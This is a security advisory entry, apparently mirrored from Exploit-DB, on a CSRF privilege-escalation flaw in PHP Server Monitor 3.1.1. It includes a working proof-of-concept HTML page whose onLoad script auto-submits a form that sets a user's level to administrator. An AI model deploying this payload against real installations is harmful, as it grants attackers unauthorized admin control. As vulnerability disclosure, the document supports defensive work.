PHP Server Monitor Privilege Escalation / CSRF

vendor:

PHP Server Monitor

by:

hyp3rlinx

7,5

CVSS

HIGH

Privilege Escalation / CSRF

N/A

CWE

Product Name: PHP Server Monitor

Affected Version From: 3.1.1

Affected Version To: 3.1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:phpservermon:php_server_monitor:3.1.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2015

PHP Server Monitor Privilege Escalation / CSRF

PHP Server Monitor uses level 20 for basic user and level 10 for Admins these are stored in Database. Basic users can elevate thier privileges to that of Administrator by crafting an HTTP payload changing their level to '10' then getting an Administrator to click an infected link or visit a malicious website to launch an CSRF attack which will grant the user admin access. This problem is due to no CSRF protection mechanism in place.

Mitigation:

Upgrade to latest version of PHP Server Monitor.

Source

Exploit-DB raw data:

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Vendor:
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www.phpservermonitor.org
sourceforge.net/projects/phpservermon/files/phpservermon/PHP%20Server%20Monitor%20v3.1.1/phpservermon-3.1.1.zip/download


Product:
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PHP Server Monitor 3.1.1


Vulnerability Type:
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Privilege Escalation / CSRF


Vulnerability Details:
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PHP Server Monitor uses level 20 for basic user and level 10 for Admins these are stored in Database. Basic users can elevate thier privileges to that of Administrator
by crafting an HTTP payload changing their level to '10' then getting an Administrator to click an infected link or visit a malicious website to launch an
CSRF attack which will grant the user admin access. This problem is due to no CSRF protection mechanism in place. 


Exploit code(s):
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1) privilege escalation / CSRF
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<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>

<form id="HELL" action="http://localhost/phpservermon-3.1.1/?&mod=user&action=save&id=3" method="post">
<input type="text" name="user_name" value="hyp3rlinx" >
<input type="text" name="name" value="hyp3rlinx">
<input type="text" name="level" value="10">
<input type="text" name="password" value="">
<input type="text" name="password_repeat" value="">
<input type="text" name="email" value="ghostofsin@abyss.com">
<input type="text" name="mobile" value="">
<input type="text" name="pushover_key" value="">
<input type="text" name="pushover_device" value="">
</form>


</body>
</html>


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Exploitation Technique:
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Remote


Disclosure Timeline:
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Vendor Notification: NA
Oct 30, 2015  : Public Disclosure


Severity Level:
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High


Description:
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Request Method(s):              [+]  POST


Vulnerable Product:             [+]  PHP Server Monitor 3.1.1
  

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The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx
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